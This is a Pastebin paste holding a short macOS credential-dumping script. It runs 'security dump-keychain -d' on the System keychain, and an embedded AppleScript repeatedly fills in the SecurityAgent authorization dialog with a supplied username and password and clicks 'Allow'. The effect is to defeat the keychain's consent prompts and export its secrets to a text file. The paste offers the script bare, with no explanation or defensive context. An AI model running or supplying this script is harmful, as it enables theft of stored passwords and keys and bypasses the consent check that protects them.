Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- $security dump-keychain -d /Library/Keychains/System.keychain > System-keychain.txt &
- $osascript 2>/dev/null <<EOF
- set appName to "${username}"
- set appPass to "${password}"
- tell application "System Events"
- repeat while exists (processes where name is "SecurityAgent")
- tell process "SecurityAgent"
- if exists (text field 1 of window 1) then
- set value of text field 1 of window 1 to appName
- set value of text field 2 of window 1 to appPass
- end if
- end tell
- tell process "SecurityAgent" to click button "Allow" of window 1
- delay 0.2
- end repeat
- end tell
- EOF
Add Comment
Please, Sign In to add comment